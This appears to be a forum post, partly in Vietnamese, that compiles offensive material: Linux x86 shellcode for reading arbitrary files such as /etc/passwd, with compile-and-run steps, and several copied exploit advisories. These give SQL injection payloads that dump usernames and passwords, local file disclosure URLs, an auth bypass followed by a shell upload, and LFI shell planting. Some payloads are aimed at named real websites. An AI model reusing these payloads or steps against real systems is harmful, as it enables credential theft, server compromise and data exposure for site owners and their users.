hack Local (it can bypass chmod 400)

http://shell-storm.org/shellcode/files/shellcode-73.php



Chúng ta dùng shell code


/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

Source code:
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two

one:
pop %ebx

movb $5, %al
xor %ecx, %ecx
int $0x80

mov %eax, %esi
jmp read

exit:
movb $1, %al
xor %ebx, %ebx
int $0x80

read:
mov %esi, %ebx
movb $3, %al
sub $1, %esp
lea (%esp), %ecx
movb $1, %dl
int $0x80

xor %ebx, %ebx
cmp %eax, %ebx
je exit

movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80

add $1, %esp
jmp read

two:
call one
.string "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd

Shellcode này giúp chúng ta view đc file bất kì khi sử dụng và thay đổi path /etc/passwd thành path cần view thôi.
Cách thực hiện.
Save dưới dạng file exploit.c
Sau đó compile lại bằng lệnh 
gcc -o exploit exploit.c

Trông như get root vậy
Sau đó sẽ xuất hiện file exploit
Nâng file đấy lên thành 777.Dùng lệnh
Chmod +x exploit

Và cuối cùng là 
./exploit

Kết quả là ta đọc đc file /etc/passwd
Rất giống getroot phải ko 
Cách thực hiện rất dễ.
GCC.ZIP

Nhiều server cấm lệnh gcc thì bạn có thể dùng file gcc ở 1 server linux nào đó.Máy ảo chẳng hạn.Up lên rồi chmod 777 rồi ./gcc để thực hiện lệnh....

Ngoài ra các bạn có thể làm tắt server bằng file exploit sau đây.

http://shell-storm.org/shellcode/files/shellcode-68.php

jbShop - e107 v7 CMS Plugin - SQL Injection

# Exploit Title: jbShop - e107 v7 CMS plugin - SQL Injection vulnerability

# Author: Robert Cooper (admin[at]websiteauditing.org)

# Software Link: http://sourceforge.net/projects/jbshop/

# Tested on: [Linux/Windows 7]

#Vulnerable Parameter:

item_id=

##############################################################

PoC:

http://www.example.com//plugins/jbshop/jbshop.php?item_details=1&item_id=-1 union all select group_concat(user_loginname,0x3a,user_password,0x3a,user_admin),2,3,4,5,6,7,8,9,10,11,12,13,14 FROM e107_user--

##############################################################

www.websiteauditing.org

www.areyousecure.net

# Shouts to the Belegit crew

WHMCompleteSolution (cart.php) Local File Disclosure

# Title      : WHMCompleteSolution (cart.php) Local File Disclosure

# Author     : Lagripe-Dz

# Product    : WHMCS ( WHMCompleteSolution )

# Vendor     : http://whmcs.com/

# Date       : 10/01/2011

# Version    : 3.x.x , 4.0.x

# Tested on  : linux+apache

================================================================

Vuln file: cart.php

---------

Vuln code:

---------

if ( $a == "add" )

{

$templatefile = "configureproductdomain";

....etc

}

if ( $a == "login" )

{

$templatefile = "login";

....etc

}

...

outputClientArea( $templatefile, $nowrapper );

# outputClientArea function will display

"./templates/orderforms/cart/{$templatefile}.tpl"

Details :

---------

if variable "$a" has a true value .. will set "$templatefile" value by

default

but when "$a" value didn't match the defaults values

you can control "$templatefile" and use it as ( File Disclosure )

Proof of Concept :

------------------

http://domain.tld/[PATH]/cart.php?a=[wrong_value]&templatefile=[LFD]

http://domain.tld/[PATH]/cart.php?a=test&templatefile=../../../configuration.php

note* : show the page source to see Disclosure file.

Solution :

----------

the vendor Notificate

update to the last version

================================================================

Greetz To All www.Sec4ever.com Members.

Easy Hosting Control Panel Admin Auth Bypass

# Exploit Title: Easy Hosting Control Panel Admin Auth Bypass

# Google Dork: inurl:/ehcp/?op=applyfordomainaccount

# Date: 10/04/2011

# Author: Jasman

# Software Link: https://launchpad.net/ehcp & http://www.ehcp.net

# Version: 0.29.10 - 0.29.13

# Tested on: Ubuntu, Debian

+ Description

Easy Hosting Control Panel designed for hosting of multiple domains on single machine.

It uses LAMP(LinuxApacheMysqlPhp). Its aim:easily installable,easy usage, non-complex,functional

+ Vulnerable:

to add a ftp account & domain does not require a login.

http://site.com/vhosts/ehcp/?op=applyforaccount

http://site.com/vhosts/ehcp/?op=applyforftpaccount

http://site.com/vhosts/ehcp/?op=applyfordomainaccount

+ Exploit

upload a shell via ftp

http://site.com/vhosts/[username]/[domain]/httpdocs/shell.php

+ Tested On

0.29.13

0.29.11

0.29.10

redmind Online-Shop / E-Commerce-System SQL Injection Vulnerability

[#] Exploit Title   : redmind Online-Shop / E-Commerce-System SQL Injection Vulnerability

[#] Google Dork     : "powered by redmind�" or "Entwickelt und betrieben von redmind�"

[#] Software Link   : http://www.redmind.de/online-shop.html

[#] Version     : N/A

[#] Tested on       : Linux IDBlackcoder

[#] Date        : September 28th, 2011

[#] Author      : Mbah_Semar

[#] Homepage        : http://www.blackcoder.or.id | http://www.blackhat.or.id

#####################################################################[ Vulnerable File ]    http://www.example.com/product.php?prodID=[SQLi]

[ Example ] http://www.example.com/product.php?prodID=9999 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

#####################################################################

[Thank's to][*] All member and Staff Indonesian Blackcoder[*] My Master : sudden_death (terimakasih atas ilmunya)[*] Special to ex member suramcrew: Kodok ijo, Gisa Maho, Lukas Bling, Pasukan dari Sempax, Zero-Line, Aanz, anharku, hakz

[Note][*] Aku sayang Ibu :)

Cart Software Multiple Vulnerabilities

=========================================================
sabadkharid CMS Multiple Vulnerabilities
=========================================================

   010101010101010101010101010101010101010101010101010101010  
   0                                                       0
   1     Iranian NOPO Digital Security Team 2011           1
   0                                                       0
   010101010101010101010101010101010101010101010101010101010
  
 
# Exploit Title: sabadkharid CMS Multiple Vulnerabilities
# Date: 8/07/2011                           
# Author: hosinn                    
# Software Link: http://www.sabadkharid.com
# Version: professional edition
# Platform / Tested on: Multiple
# Category: webapplications
# Code : N/A
# Download Video: http://hosinn.persiangig.com/video/sabadkharid.rar
  
#  BUG Sql Injectin :  ###############################################################

1 > cart.php have sql injection bug .

2 > go to http://target.com/cart.php?shopping_cart&add2cart=10'
 
 
#  Expolite :  #######################################################################
 
1 > get version    => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select @@version from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

2 > get username   => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select login from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/
            or     => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select login from skh_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

  > output like 'admin1' and username:admin
 
3 > get password   => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select cust_password from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/
            or     => http://site.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select cust_password from skh_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

  > output like 'cGFzcw==1' and It Base64 Encoded
  
  > Then pass : Decoding 'cGFzcw=='
  
4 > Then Login To Site
 
#  BUG LFI :  ######################################################################

1 > Go To Http://site.com/admin.php

2 > Go To Http://site.com/admin.php?tab=conf&sub=template&edit=../../../cart.php

3 > Then Copy Your Shell script & Save

4 > Find Your Shell in Http://site.com/cart.php


# Example  ##################################################################

http://tehranshopping.ir/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select login from SKH_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

http://elia-co.com/cart.php?shopping_cart&add2cart=10 /*!and(select 1 from(select count(*),concat((select login from skh_customers limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/


#############################################################################
 
Our Website : http://www.nopotm.ir
  
Special Thanks to :  N3td3v!l , H-SK33PY , Immortal Boy , BigB4NG
 
Blacksun , Drosera^Cqq47 , NOPO , zilli0o0n &  all iranian NOPO members
  
#############################################################################